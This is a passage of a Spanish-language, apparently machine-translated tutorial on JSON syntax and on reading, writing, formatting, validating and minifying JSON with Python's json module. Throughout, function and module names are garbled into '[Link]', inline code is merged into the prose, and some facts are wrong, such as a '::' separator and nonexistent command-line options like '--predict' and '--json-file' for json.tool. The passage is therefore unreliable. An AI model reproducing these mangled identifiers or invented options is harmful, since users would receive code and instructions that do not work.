JSON con el editor de código que prefieras. Una vez que establezcas la extensión del
archivo .json, la mayoría de los editores de código mostrarán tus datos JSON con
resaltado de sintaxis de forma predeterminada.
La captura de pantalla anterior muestra cómo VS Code visualiza los datos JSON con
el tema de color Bearded . ¡A continuación, analizaremos con más detalle la sintaxis del
formato JSON!
Examinando la sintaxis JSON
En la sección anterior, tuviste una primera impresión de cómo se ven los datos JSON. Y
como desarrollador de Python, la estructura JSON probablemente te recuerde a estructuras
de datos comunes en Python , como un diccionario que contiene una cadena como clave y
un valor. Si comprendes la sintaxis de un diccionario en Python, ya conoces la sintaxis
general de un objeto JSON .
Nota: Más adelante en este tutorial, aprenderá que puede usar listas y otros tipos de datos
en el nivel superior de un documento JSON.
La similitud entre los diccionarios de Python y los objetos JSON no es ninguna sorpresa.
Una de las ideas detrás de la consolidación de JSON como el formato de intercambio de
datos por excelencia fue hacer que trabajar con JSON fuera lo más conveniente posible,
independientemente del lenguaje de programación que se utilice:
Las estructuras de datos universales son conjuntos de pares clave-valor y matrices.
Prácticamente todos los lenguajes de programación modernos las admiten de una forma u
otra. Por lo tanto, es lógico que un formato de datos intercambiable entre lenguajes de
programación también se base en estas estructuras. ( Fuente )
Para explorar más a fondo la sintaxis JSON, cree un nuevo archivo con un
nombre hello_frieda.jsony añada una estructura JSON más compleja como
contenido del archivo:
hello_frieda.json
{
"name": "Frieda",
"isDog": true,
"hobbies": ["eating", "sleeping", "barking"],
"age": 8,
"address": {
"work": null,
"home": ["Berlin", "Germany"]
},
"friends": [
{
"name": "Philipp",
"hobbies": ["eating", "sleeping", "reading"]
},
{
"name": "Mitch",
"hobbies": ["running", "snacking"]
}
]
}
En el código anterior, se muestran datos sobre una perra llamada Frieda, con formato
JSON. El valor de nivel superior es un objeto JSON. Al igual que con los diccionarios de
Python, los objetos JSON se encierran entre llaves ( {}).
En la línea 1, comienzas el objeto JSON con una llave de apertura ( {), y luego cierras el
objeto al final de la línea 20 con una llave de cierre ( }).
Nota: Si bien los espacios en blanco no son relevantes en JSON, es habitual que los
documentos JSON se formateen con dos o cuatro espacios para indicar la sangría. Si el
tamaño del archivo JSON es importante, puede considerar la posibilidad de minimizarlo
eliminando los espacios en blanco. Aprenderá más sobre la minimización de datos JSON
más adelante en este tutorial.
Dentro del objeto JSON, puede definir cero, uno o más pares clave-valor. Si agrega varios
pares clave-valor, debe separarlos con una coma ( ,).
En un objeto JSON, un par clave-valor se separa mediante dos puntos ( ::). A la izquierda
de los dos puntos se define la clave. Una clave es una cadena de texto que debe ir entre
comillas dobles ( ""). A diferencia de Python, las cadenas JSON no admiten comillas
simples ( '").
Los valores en un documento JSON se limitan a los siguientes tipos de datos:
Tipo de datos Descripción
JSON
object Una colección de pares clave-valor dentro de llaves ( {})
array Una lista de valores entre corchetes ( [])
string Texto entre comillas dobles ( "")
number Números enteros o de coma flotante
boolean Cualquiera de las dos opciones true, o falsesin comillas.
null Representa un valor nulo , escrito comonull
Al igual que en los diccionarios y las listas, puedes anidar datos en objetos y matrices
JSON. Por ejemplo, puedes incluir un objeto como valor de otro objeto. Además, puedes
usar cualquier otro valor permitido como elemento de una matriz JSON.
Como desarrollador de Python, es posible que deba prestar especial atención a los valores
booleanos. En lugar de usar True`true` o ` Falsefalse` en mayúsculas iniciales, debe
usar los valores booleanos en minúscula al estilo de JavaScript: `false` true o `
false` false.
Lamentablemente, existen otros detalles en la sintaxis JSON con los que podrías
encontrarte como desarrollador. Los veremos a continuación.
Explorando las trampas de la sintaxis JSON
El estándar JSON no permite comentarios, comas finales ni comillas simples en las cadenas
de texto. Esto puede resultar confuso para los desarrolladores acostumbrados a los
diccionarios de Python o a los objetos de JavaScript .
Aquí tenéis una versión más pequeña del archivo JSON anterior con una sintaxis no válida:
❌ Invalid JSON
{
"name": 'Frieda',
"address": {
"work": null, // Doesn't pay rent either
"home": "Berlin",
},
"friends": [
{
"name": "Philipp",
"hobbies": ["eating", "sleeping", "reading",]
}
]
}
Las líneas resaltadas contienen sintaxis JSON no válida:
La línea 2 encierra la cadena entre comillas simples.
La línea 4 utiliza un comentario en línea.
La línea 5 tiene una coma final después del último par clave-valor.
La línea 10 contiene una coma final en la matriz.
El uso de comillas dobles es algo a lo que te acostumbrarás como desarrollador de
Python. Los comentarios pueden ser útiles para explicar tu código, y las comas finales
pueden hacer que mover líneas en tu código sea menos frágil. Por eso, algunos
desarrolladores prefieren usar Human JSON (Hjson) o JSON con comentarios (JSONC) .
Hjson te permite usar comentarios, omitir comas entre propiedades y crear cadenas sin
comillas. Aparte de las llaves ( {}), la sintaxis de Hjson se asemeja a una mezcla
de YAML y JSON.
JSONC es un poco más estricto que Hjson. A diferencia de JSON estándar, JSONC permite
usar comentarios y comas finales. Es posible que te hayas encontrado con JSONC al
editar [Link] en VS Code. Dentro de sus archivos de configuración, VS
Code funciona en modo JSONC. Para archivos JSON comunes, VS Code es más estricto y
señala los errores de sintaxis.
Si quieres asegurarte de escribir JSON válido, tu editor de código puede serte de gran
ayuda. El documento JSON no válido que aparece arriba contiene marcas para cada
aparición de sintaxis JSON incorrecta:
Cuando no quieras depender de tu editor de código, también puedes usar herramientas en
línea para verificar que la sintaxis JSON que escribes sea correcta. Algunas herramientas
populares en línea para validar JSON son JSON Lint y JSON Formatter .
Más adelante en este tutorial, aprenderás a validar documentos JSON cómodamente desde
tu terminal. Pero antes, es hora de descubrir cómo trabajar con datos JSON en Python.
Escribir JSON con Python
Python admite el formato JSON mediante el módulo integrado `json` json.
Este jsonmódulo está diseñado específicamente para leer y escribir cadenas con formato
JSON. Esto significa que puedes convertir fácilmente tipos de datos de Python a datos
JSON y viceversa.
El proceso de convertir datos al formato JSON se denomina serialización . Este proceso
consiste en transformar los datos en una serie de bytes para su almacenamiento o
transmisión a través de una red. El proceso inverso, la deserialización , consiste en
decodificar los datos del formato JSON a un formato utilizable en Python.
Comenzarás con la serialización del código Python en datos JSON con la ayuda
del jsonmódulo.
Convertir diccionarios de Python a JSON
Una de las acciones más comunes al trabajar con JSON en Python es convertir un
diccionario de Python en un objeto JSON. Para comprender cómo funciona, abre tu
intérprete de Python (REPL) y sigue el código a continuación:
>>> import json
>>> food_ratings = {"organic dog food": 2, "human food": 10}
>>> [Link](food_ratings)
'{"organic dog food": 2, "human food": 10}'
Después de importar el jsonmódulo, puedes usarlo .dumps()para convertir un
diccionario de Python en una cadena con formato JSON , que representa un objeto JSON.
Es importante entender que al usar `()` , se obtiene una cadena de Python como resultado.
En otras palabras, no se crea ningún tipo de dato JSON. El resultado es similar al que se
obtendría al usar la funció[Link]() integrada de Python :str()
>>> str(food_ratings)
"{'organic dog food': 2, 'human food': 10}"
Su uso [Link]()se vuelve más interesante cuando el diccionario de Python no
contiene cadenas como claves o cuando los valores no se traducen directamente a un
formato JSON:
>>> numbers_present = {1: True, 2: True, 3: False}
>>> [Link](numbers_present)
'{"1": true, "2": true, "3": false}'
En el numbers_presentdiccionario, las claves 1, 2, y 3son números . Una vez que
uses .dumps(), las claves del diccionario se convierten en cadenas en la cadena con
formato JSON.
Nota: Al convertir un diccionario a JSON, las claves del diccionario siempre serán cadenas
de texto en JSON.
Los valores booleanos de Python de tu diccionario se convierten en booleanos JSON .
Como se mencionó anteriormente, la pequeña pero significativa diferencia entre los
booleanos JSON y los booleanos de Python es que los booleanos JSON se escriben en
minúsculas.
Lo genial del jsonmódulo de Python es que se encarga de la conversión automáticamente.
Esto puede resultar muy útil cuando se utilizan variables como claves de diccionario:
>>> dog_id = 1
>>> dog_name = "Frieda"
>>> dog_registry = {dog_id: {"name": dog_name}}
>>> [Link](dog_registry)
'{"1": {"name": "Frieda"}}'
Al convertir tipos de datos de Python a JSON, el jsonmódulo recibe los valores
evaluados. Al hacerlo, jsonse ciñe estrictamente al estándar JSON. Por ejemplo, al
convertir claves enteras como 1a la cadena "1".
Serializar otros tipos de datos de Python a JSON
Este jsonmódulo permite convertir tipos de datos comunes de Python a JSON. A
continuación, se muestra una descripción general de todos los tipos de datos y valores de
Python que se pueden convertir a valores JSON:
Pitón JSON
dict object
list array
tuple array
str string
int number
float number
True true
False false
None null
Ten en cuenta que distintos tipos de datos de Python, como listas y tuplas, se serializan al
mismo arraytipo de dato JSON. Esto puede causar problemas al convertir datos JSON de
nuevo a Python, ya que el tipo de dato podría no ser el mismo. Analizaremos este
inconveniente más adelante en este tutorial, cuando aprendas a leer JSON .
Los diccionarios son probablemente el tipo de dato de Python más común que usarás como
valor de nivel superior en JSON. Pero puedes convertir los tipos de datos mencionados
anteriormente con la misma facilidad que los diccionarios [Link](). Por ejemplo,
toma un valor booleano o una lista:
>>> [Link](True)
'true'
>>> [Link](["eating", "sleeping", "barking"])
'["eating", "sleeping", "barking"]'
Un documento JSON puede contener un único valor escalar, como un número, en el nivel
superior. Eso sigue siendo un JSON válido. Pero, por lo general, se trabaja con una
colección de pares clave-valor. De forma similar a como no todos los tipos de datos se
pueden usar como clave de diccionario en Python, no todas las claves se pueden convertir
en cadenas de claves JSON.
Tipo de datos de Python Permitido como clave JSON
dict ❌
list ❌
tuple ❌
str ✅
int ✅
float ✅
bool ✅
None ✅
No se pueden usar diccionarios, listas ni tuplas como claves JSON. Para diccionarios y
listas, esta regla tiene sentido, ya que no son hashables . Pero incluso cuando una tupla es
hashable y se permite como clave en un diccionario, se producirá un error TypeErroral
intentar usarla como clave JSON.
>>> available_nums = {(1, 2): True, 3: False}
>>> [Link](available_nums)
Traceback (most recent call last):
...
TypeError: keys must be str, int, float, bool or None, not tuple
Al proporcionar el skipkeysargumento, puede evitar obtener un error TypeErroral
crear datos JSON con claves de Python no compatibles:
>>> [Link](available_nums, skipkeys=True)
'{"3": false}'
Al usar `in` skipkeys, Python omite las claves no compatibles que, de otro modo,
generarían una excepción . El resultado es una cadena con formato JSON que solo contiene
un subconjunto del diccionario de entrada. En la práctica, normalmente se desea que los
datos JSON se asemejen lo máximo posible al objeto de entrada. Por lo tanto, debe
usarse con precaución para no perder información al llamar a
`in` .[Link]()[Link]()
Nota: Si alguna vez te encuentras en una situación en la que necesitas convertir un objeto
no compatible a JSON, puedes considerar la posibilidad de crear una subclase de la
clase JSONEncodere implementar un .default()método.
Al usar esta función [Link](), puede usar argumentos adicionales para controlar
el formato de la cadena JSON resultante. Por ejemplo, puede ordenar las claves del
diccionario configurando el sort_keysparámetro en True:
>>> toy_conditions = {"chew bone": 7, "ball": 3, "sock": -1}
>>> [Link](toy_conditions, sort_keys=True)
'{"ball": 3, "chew bone": 7, "sock": -1}'
Cuando se establece sort_keysen True`true`, Python ordena las claves
alfabéticamente al serializar un diccionario. Ordenar las claves de un objeto JSON puede
ser útil cuando las claves del diccionario representaban anteriormente los nombres de las
columnas de una base de datos y se desea mostrarlas de forma organizada al usuario.
Otro parámetro importante es ` [Link]()session` indent, que probablemente
usarás con mayor frecuencia al serializar datos JSON. Lo exploraremos indentmás
adelante en este tutorial, en la sección de formateo de JSON .
Al convertir tipos de datos de Python al formato JSON, generalmente se tiene un objetivo
en mente. Lo más común es usar JSON para almacenar e intercambiar datos. Para ello, es
necesario guardar los datos JSON fuera del programa Python en ejecución. A continuación,
veremos cómo guardar datos JSON en un archivo.
Escribir un archivo JSON con Python
El formato JSON resulta muy útil para guardar datos fuera de tu programa Python. En lugar
de crear una base de datos, puedes usar un archivo JSON para almacenar los datos de tus
flujos de trabajo. Una vez más, Python te ofrece la solución.
Para escribir datos de Python en un archivo JSON externo, se utiliza [Link](). Esta
es una función similar a la que viste anteriormente, pero sin la s al final de su nombre:
hello_frieda.py
import json
dog_data = {
"name": "Frieda",
"is_dog": True,
"hobbies": ["eating", "sleeping", "barking",],
"age": 8,
"address": {
"work": None,
"home": ("Berlin", "Germany",),
},
"friends": [
{
"name": "Philipp",
"hobbies": ["eating", "sleeping", "reading",],
},
{
"name": "Mitch",
"hobbies": ["running", "snacking",],
},
],
}
with open("hello_frieda.json", mode="w", encoding="utf-8") as write_file:
[Link](dog_data, write_file)
En las líneas 3 a 22, defines un dog_datadiccionario que escribes en un archivo JSON
en la línea 25 usando un administrador de contexto . Para indicar correctamente que el
archivo contiene datos JSON, estableces la extensión del archivo en .json.
Cuando uses JSON open(), es buena práctica definir la codificación. Para JSON,
normalmente querrás usar "utf-8"JSON como codificación al leer y escribir archivos.
La RFC exige que JSON se represente utilizando UTF-8, UTF-16 o UTF-32, siendo UTF-8
la opción predeterminada recomendada para una máxima interoperabilidad. ( Fuente )
La [Link]()función tiene dos argumentos obligatorios:
1. El objeto que desea escribir
2. El archivo en el que desea escribir
Además, existen varios parámetros opcionales [Link]() . Los parámetros
opcionales de [Link]()son los mismos que para [Link](). Analizarás
algunos de ellos más adelante en este tutorial, cuando formatees y minimices archivos
JSON.
Lectura de JSON con Python
En las secciones anteriores, aprendiste a serializar datos de Python en cadenas con formato
JSON y archivos JSON. Ahora, verás qué sucede cuando cargas datos JSON de nuevo en tu
programa de Python.
Paralelamente a ` [Link]()and` [Link](), la jsonbiblioteca proporciona
dos funciones para deserializar datos JSON en un objeto Python:
1. [Link]()Para deserializar una cadena, bytes o instancias de
matriz de bytes
2. [Link](): Para deserializar un archivo de texto o un archivo binario
Como regla general, se trabaja con [Link]()datos que ya están presentes en el
programa Python. Se utilizan [Link]()archivos externos guardados en el disco.
La conversión de tipos de datos y valores JSON a Python sigue una correspondencia similar
a la que se utilizaba anteriormente al convertir objetos de Python al formato JSON:
JSON Pitón
object dict
array list
string str
number int
number float
true True
false False
null None
Al comparar esta tabla con la de la sección anterior, podrá observar que Python ofrece un
tipo de datos equivalente para todos los tipos JSON. Esto resulta muy práctico, ya que
garantiza que no se perderá información al deserializar datos JSON en Python.
Nota: La deserialización no es el proceso inverso a la serialización. Esto se debe a que las
claves JSON siempre son cadenas de texto, y no todos los tipos de datos de Python se
pueden convertir a tipos de datos JSON. Esta discrepancia implica que algunos objetos de
Python podrían no conservar su tipo original al serializarse y luego deserializarse.
Para comprender mejor la conversión de tipos de datos, comenzará serializando un objeto
de Python a JSON y luego convertirá los datos JSON de nuevo a Python. De esta manera,
podrá observar las diferencias entre el objeto de Python que serializa y el objeto de Python
resultante tras deserializar los datos JSON.
Convertir objetos JSON a un diccionario de Python
Para investigar cómo cargar un diccionario de Python desde un objeto JSON, retome el
ejemplo anterior. Comience creando un dog_registrydiccionario y luego serialícelo a
una cadena JSON usando [Link]():
>>> import json
>>> dog_registry = {1: {"name": "Frieda"}}
>>> dog_json = [Link](dog_registry)
>>> dog_json
'{"1": {"name": "Frieda"}}'
Al pasar dog_registryel [Link]()objeto JSON a `string`, se crea una cadena
que se guarda en `string` dog_json. Si se desea convertirlo dog_jsonde nuevo en un
diccionario de Python, se puede usar [Link]():
>>> new_dog_registry = [Link](dog_json)
Al usar [Link]()`[Link]`, puedes convertir datos JSON de nuevo en objetos de
Python. Con los conocimientos sobre JSON que has adquirido hasta ahora, es posible que
ya sospeches que el contenido del new_dog_registrydiccionario no es idéntico al
contenido de dog_registry`[Link]`.
>>> new_dog_registry == dog_registry
False
>>> new_dog_registry
{'1': {'name': 'Frieda'}}
>>> dog_registry
{1: {'name': 'Frieda'}}
La diferencia entre
`[Link]` new_dog_registryy dog_registry`[Link]` es sutil, pero
puede tener un gran impacto en tus programas de Python. En JSON, las claves siempre
deben ser cadenas. Al convertir dog_registrya dog_jsonJSON
usando [Link]()`[Link]`, la clave entera 1se convirtió en la cadena "
null" "1". Al usar `[Link]` [Link](), Python no tenía forma de saber que la
clave de cadena debía ser un entero nuevamente. Por eso, la clave de tu diccionario
permaneció como una cadena después de la deserialización.
¡Investigarás un comportamiento similar realizando otra conversión de ida y vuelta con
otros tipos de datos de Python!
Deserializar tipos de datos JSON
Para explorar cómo se comportan los diferentes tipos de datos en un viaje de ida y vuelta
entre Python y JSON, tomemos una parte del dog_datadiccionario de una sección
anterior. Observe cómo el diccionario contiene diferentes tipos de datos como valores:
>>> dog_data = {
... "name": "Frieda",
... "is_dog": True,
... "hobbies": ["eating", "sleeping", "barking",],
... "age": 8,
... "address": {
... "work": None,
... "home": ("Berlin", "Germany",),
... },
... }
El dog_datadiccionario contiene varios tipos de datos comunes de Python como
valores. Por ejemplo, una cadena en la línea 2, un booleano en la línea 3, un
valor NoneTypeen la línea 7 y una tupla en la línea 8, por nombrar solo algunos.
A continuación, conviértelo dog_dataa una cadena con formato JSON y de vuelta a
Python. Después, echa un vistazo al diccionario recién creado:
>>> dog_data_json = [Link](dog_data)
>>> dog_data_json
'{"name": "Frieda", "is_dog": true, "hobbies": ["eating", "sleeping", "barking"],
"age": 8, "address": {"work": null, "home": ["Berlin", "Germany"]}}'
>>> new_dog_data = [Link](dog_data_json)
>>> new_dog_data
{'name': 'Frieda', 'is_dog': True, 'hobbies': ['eating', 'sleeping', 'barking'],
'age': 8, 'address': {'work': None, 'home': ['Berlin', 'Germany']}}
Puedes convertir cualquier tipo de dato JSON a su equivalente en Python. El booleano
JSON truese deserializa en `True` True, nullse convierte de nuevo en `True` None,
y los objetos y arrays se convierten en diccionarios y listas. Sin embargo, existe una
excepción que podrías encontrar en las conversiones de ida y vuelta:
>>> type(dog_data["address"]["home"])
<class 'tuple'>
>>> type(new_dog_data["address"]["home"])
<class 'list'>
Al serializar una tupla en Python, esta se convierte en un array JSON. Al cargar JSON, un
array JSON se deserializa correctamente en una lista porque Python no tiene forma de saber
que se desea que el array sea una tupla.
Problemas como el descrito anteriormente pueden surgir al realizar transferencias de datos.
Si la transferencia se produce dentro del mismo programa, es posible que tengas mayor
conocimiento de los tipos de datos esperados. Las conversiones de tipos de datos pueden
ser aún más complejas al trabajar con archivos JSON externos originados en otro programa.
¡A continuación, analizaremos una situación similar!
Abrir un archivo JSON externo con Python
En una sección anterior, creaste un hello_frieda.pyarchivo que guardaba
otro hello_frieda.jsonarchivo. Si necesitas refrescar la memoria, puedes expandir la
sección desplegable que aparece a continuación para ver el código de nuevo:
Cuando quieras escribir contenido en un archivo JSON, usarás
`[Link]` [Link](). Su
contraparte [Link]()es [Link]()`[Link]`. Como su nombre indica, puedes
usar ` [Link]()[Link]` para cargar un archivo JSON en tu programa Python.
Vuelve al intérprete interactivo de Python y carga el hello_frieda.jsonarchivo JSON
anterior:
>>> import json
>>> with open("hello_frieda.json", mode="r", encoding="utf-8") as read_file:
... frie_data = [Link](read_file)
...
>>> type(frie_data)
<class 'dict'>
>>> frie_data["name"]
'Frieda'
Al igual que al escribir archivos, es recomendable usar un gestor de contexto al leer un
archivo en Python. De esta forma, no es necesario cerrarlo posteriormente. Para leer un
archivo JSON, se utiliza [Link]()dentro del withbloque de la instrucción.
El argumento de la load()función debe ser un archivo de texto o un archivo binario. El
objeto de Python que se obtiene [Link]()depende del tipo de datos de nivel superior
del archivo JSON. En este caso, el archivo JSON contiene un objeto en el nivel superior,
que se deserializa en un diccionario.
Al deserializar un archivo JSON como un objeto de Python, puedes interactuar con él de
forma nativa; por ejemplo, accediendo al valor de la "name"clave con la notación de
corchetes ( []). Sin embargo, conviene tener precaución. Importa
el dog_datadiccionario original y compáralo con frie_data:
>>> from hello_frieda import dog_data
>>> frie_data == dog_data
False
>>> type(frie_data["address"]["home"])
<class 'list'>
>>> type(dog_data["address"]["home"])
<class 'tuple'>
Al cargar un archivo JSON como un objeto de Python, cualquier tipo de dato JSON se
deserializa sin problemas en Python. Esto se debe a que Python reconoce todos los tipos de
datos que admite el formato JSON. Lamentablemente, no ocurre lo mismo a la inversa.
Como ya aprendiste, existen tipos de datos de Python tupleque puedes convertir a JSON,
pero el archivo JSON resultante tendrá un arraytipo de dato diferente. Una vez que
conviertes los datos JSON de nuevo a Python, un array se deserializa al listtipo de dato de
Python correspondiente.
En general, la responsabilidad de las conversiones de tipos de datos recae en el programa
Python que genera el JSON. Con tus conocimientos sobre archivos JSON, siempre podrás
prever los tipos de datos de Python que obtendrás, siempre que el archivo JSON sea válido.
Si usas ` [Link]()[Link]`, el contenido del archivo que cargues debe contener
sintaxis JSON válida. De lo contrario, recibirás un error JSONDecodeError. Por
suerte, Python te ofrece más herramientas para interactuar con JSON. Por ejemplo, te
permite comprobar la validez de un archivo JSON directamente desde la terminal.
Interacción con JSON
Hasta ahora, has explorado la sintaxis JSON y ya has detectado algunos errores comunes,
como las comas finales y las comillas simples en las cadenas de texto. Al escribir JSON,
también te habrás topado con algunos detalles molestos. Por ejemplo, los diccionarios de
Python, aunque estén bien indentados, terminan siendo un bloque de datos JSON.
En la última sección de este tutorial, probarás algunas técnicas para facilitarte el trabajo con
datos JSON en Python. Para empezar, le darás a tu objeto JSON un buen lavado de cara.
Formatea JSON con Python
Una gran ventaja del formato JSON es que los datos JSON son legibles para humanos. Es
más, también son editables. Esto significa que puedes abrir un archivo JSON en tu editor de
texto favorito y modificar su contenido a tu gusto. ¡Al menos, esa es la idea!
Editar datos JSON manualmente no es particularmente fácil cuando tus datos JSON se ven
así en el editor de texto:
Incluso con el ajuste de línea y el resaltado de sintaxis activados, los datos JSON son
difíciles de leer cuando se trata de una sola línea de código. Y como desarrollador de
Python, probablemente pases por alto algunos espacios en blanco . ¡Pero no te preocupes,
Python te lo pone fácil!
Al llamar a ` serialize` [Link]()o [Link]()`serialize` para un objeto de
Python, puedes proporcionar el indentargumento. Empieza
probando [Link]()con diferentes niveles de indentación:
>>> import json
>>> dog_friend = {
... "name": "Mitch",
... "age": 6.5,
... }
>>> print([Link](dog_friend))
{"name": "Mitch", "age": 6.5}
>>> print([Link](dog_friend, indent=0))
{
"name": "Mitch",
"age": 6.5
}
>>> print([Link](dog_friend, indent=-2))
{
"name": "Mitch",
"age": 6.5
}
>>> print([Link](dog_friend, indent=""))
{
"name": "Mitch",
"age": 6.5
}
>>> print([Link](dog_friend, indent=" ⮑ "))
{
⮑ "name": "Mitch",
⮑ "age": 6.5
}
El valor predeterminado indentes None. Cuando llamas [Link]()a
sin indento con Nonecomo valor, obtendrás una línea de una cadena compacta con
formato JSON.
Si deseas incluir saltos de línea en tu cadena JSON, puedes
configurarlo indento 0proporcionar una cadena vacía. Aunque probablemente sea
menos útil, también puedes proporcionar un número negativo como sangría o cualquier otra
cadena.
Lo más habitual es que proporciones valores como 2o 4para indent:
>>> print([Link](dog_friend, indent=2))
{
"name": "Mitch",
"age": 6.5
}
>>> print([Link](dog_friend, indent=4))
{
"name": "Mitch",
"age": 6.5
}
Al usar números enteros positivos como valor indental llamar a la
función [Link](), se indentará cada nivel del objeto JSON con
la indentcantidad de espacios indicada. Además, se agregarán saltos de línea para cada
par clave-valor.
Nota: Para ver realmente el espacio en blanco en el REPL, puede envolver
las [Link]()llamadas en print()llamadas a funciones.
El indentparámetro funciona exactamente igual para [Link]()que
para [Link](). Escribe el dog_frienddiccionario en un archivo JSON con
sangría de 4espacios:
>>> with open("dog_friend.json", mode="w", encoding="utf-8") as write_file:
... [Link](dog_friend, write_file, indent=4)
...
Al configurar el nivel de sangría al serializar datos JSON, se obtiene un JSON con formato
legible. Observe cómo dog_friend.jsonse ve el archivo en su editor:
Python puede trabajar con archivos JSON independientemente de su sangría. Como
persona, probablemente prefieras un archivo JSON con saltos de línea y una sangría
correcta. Un archivo JSON con este formato es mucho más fácil de editar.
Validar JSON en la terminal
La comodidad de poder editar datos JSON en el editor conlleva un riesgo. Al mover pares
clave-valor o añadir cadenas con una sola comilla en lugar de dos, se obtiene un JSON no
válido.
Para comprobar rápidamente si un archivo JSON es válido, puedes usar la biblioteca `json`
de Python [Link]. Puedes ejecutar el [Link]ódulo como un ejecutable en la
terminal usando la -mopción `--executable`. Para verlo [Link] acción, proporciona
también `--predict` dog_friend.jsoncomo infileargumento posicional.
$ python -m [Link] dog_friend.json
{
"name": "Mitch",
"age": 6.5
}
Si solo se ejecuta [Link] una infileopción, Python valida el archivo JSON y
muestra su contenido en la terminal si es válido. [Link] el ejemplo anterior, esto
significa que dog_friend.jsonel archivo contiene una sintaxis JSON válida.
Nota: Por defecto, la [Link]ón de los datos JSON se realiza con una sangría
de 4. Este comportamiento se analizará en la siguiente sección.
Para que se produzca [Link] queja, debe invalidar su documento JSON. Puede
invalidar los datos JSON dog_friend.jsoneliminando la coma ( ,) entre los pares
clave-valor:
dog_friend.json
{
"name": "Mitch"
"age": 6.5
}
Después de guardar dog_friend.json, ejecute [Link] nuevo para validar el
archivo:
$ python -m [Link] dog_friend.json
Expecting ',' delimiter: line 3 column 5 (char 26)
El [Link]ódulo encuentra con éxito la coma faltante en dog_friend.json.
Python detecta que falta un delimitador una vez que el "age"nombre de la propiedad
encerrado entre comillas dobles comienza en la línea 3 en la posición 5.
Intenta corregir el archivo JSON de nuevo. También puedes
invalidarlo dog_friend.jsony comprobar cómo [Link] informa del error. Ten
en cuenta que [Link] se informa del primer error, así que puede que tengas que
alternar entre corregir el archivo JSON y ejecutar el comando [Link].
Una vez dog_friend.jsonque el parámetro sea válido, notará que la salida siempre
será la misma. Por supuesto, como cualquier interfaz de línea de comandos bien
diseñada , [Link] algunas opciones para controlar el programa.
Imprimir JSON con formato legible en la terminal
En la sección anterior, validaste [Link] archivo JSON. Cuando la sintaxis JSON
era válida, [Link] mostraba el contenido con saltos de línea y una sangría de cuatro
espacios. Para controlar cómo [Link] imprime el JSON, puedes configurar la --
indentopción.
Si seguiste el tutorial, tendrás un hello_frieda.jsonarchivo sin saltos de línea ni
sangría. También puedes descargar hello_frieda.jsonlos materiales haciendo clic en
el enlace a continuación:
Bonificación gratuita: Haz clic aquí para descargar el código de ejemplo gratuito que
te muestra cómo trabajar con datos JSON en Python.
Al pasarle el argumento `--json hello_frieda.json-file` a [Link]`--json-file`,
puedes formatear el contenido del archivo JSON en tu terminal. Al configurar `--json-
file` --indent, puedes controlar qué nivel de sangría [Link] usa para mostrar el
código.
$ python -m [Link] hello_frieda.json --indent 2
{
"name": "Frieda",
"is_dog": true,
"hobbies": [
"eating",
"sleeping",
"barking"
],
"age": 8,
"address": {
"work": null,
"home": [
"Berlin",
"Germany"
]
},
"friends": [
{
"name": "Philipp",
"hobbies": [
"eating",
"sleeping",
"reading"
]
},
{
"name": "Mitch",
"hobbies": [
"running",
"snacking"
]
}
]
}
Ver los datos JSON formateados en la terminal es genial. ¡Pero puedes mejorarlo aún más
ofreciendo otra opción para la [Link]ón!
Por defecto, [Link] la salida en [Link], igual que cuando llamas a
la print()función . Pero también puedes redirigir la salida [Link] un archivo
proporcionando un outfileargumento posicional:
$ python -m [Link] hello_frieda.json pretty_frieda.json
Al pretty_frieda.jsonusar esta outfileopción, la salida se escribe en un archivo
JSON en lugar de mostrarse en la terminal. Si el archivo no existe, Python lo crea. Si ya
existe, lo sobrescribe con el nuevo contenido.
Nota: Puede formatear un archivo JSON directamente utilizando el mismo archivo
como infileargumento outfile.
Puedes verificar que el pretty_frieda.jsonarchivo existe ejecutando el ls siguiente
comando en la terminal :
$ ls -al
drwxr-xr-x@ 8 realpython staff 256 Jul 3 19:53 .
drwxr-xr-x@ 12 realpython staff 384 Jul 3 18:29 ..
-rw-r--r--@ 1 realpython staff 44 Jul 3 19:25 dog_friend.json
-rw-r--r--@ 1 realpython staff 286 Jul 3 17:27 hello_frieda.json
-rw-r--r--@ 1 realpython staff 484 Jul 3 16:53 hello_frieda.py
-rw-r--r--@ 1 realpython staff 34 Jul 2 19:38 hello_world.json
-rw-r--r--@ 1 realpython staff 594 Jul 3 19:45 pretty_frieda.json
El espacio en blanco que agregaste pretty_frieda.jsontiene un costo. En
comparación con el hello_frieda.jsonarchivo original sin sangría, el tamaño del
archivo pretty_frieda.jsonahora es aproximadamente el doble. Aquí, el aumento de
308 bytes puede no ser significativo. Pero cuando se trabaja con grandes cantidades de
datos JSON, un archivo JSON bien formateado ocupará bastante espacio.
Mantener un tamaño de archivo reducido es especialmente útil al distribuir datos a través de
la web. Dado que el formato JSON es el estándar de facto para el intercambio de datos en la
web, conviene minimizar el tamaño de los archivos. ¡Y recuerda que Python [Link]
respalda!
Minimizar JSON con Python
Como ya sabrás, Python es de gran ayuda para trabajar con JSON. Puedes minificar datos
JSON con Python de dos maneras:
1. Utiliza el módulo de Python [Link] la terminal.
2. Utiliza el jsonmódulo en tu código Python.
Antes, se utilizaba [Link] --indentopción para añadir espacios en blanco. En
lugar de usarla --indentaquí, puede proporcionar la opción --compactpara hacer lo
contrario y eliminar cualquier espacio en blanco entre los pares clave-valor de su JSON:
$ python -m [Link] pretty_frieda.json mini_frieda.json --compact
Tras llamar al [Link]ódulo, se proporciona un archivo JSON como origen infiley
otro como destino outfile. Si el archivo JSON de destino existe, se sobrescribe su
contenido. De lo contrario, se crea un nuevo archivo con el nombre especificado.
Al igual que con --indent, se proporciona el mismo archivo como archivo de origen y
destino para minimizarlo directamente. En el ejemplo anterior, se
minimiza pretty_frieda.jsonen mini_frieda.json. Ejecute el lscomando para
ver cuántos bytes se han extraído del archivo JSON original:
$ ls -al
drwxr-xr-x@ 9 realpython staff 288 Jul 3 20:12 .
drwxr-xr-x@ 12 realpython staff 384 Jul 3 18:29 ..
-rw-r--r--@ 1 realpython staff 44 Jul 3 19:25 dog_friend.json
-rw-r--r--@ 1 realpython staff 286 Jul 3 17:27 hello_frieda.json
-rw-r--r--@ 1 realpython staff 484 Jul 3 16:53 hello_frieda.py
-rw-r--r--@ 1 realpython staff 34 Jul 2 19:38 hello_world.json
-rw-r--r--@ 1 realpython staff 257 Jul 3 20:12 mini_frieda.json
-rw-r--r--@ 1 realpython staff 594 Jul 3 19:45 pretty_frieda.json
En comparación pretty_frieda.json, el tamaño del archivo mini_frieda.jsones
337 bytes menor. Esto supone incluso 29 bytes menos que
el hello_frieda.jsonarchivo original que no contenía ninguna sangría.
Para investigar dónde Python logró eliminar aún más espacios en blanco del JSON original,
abra nuevamente el REPL de Python y minimice el contenido
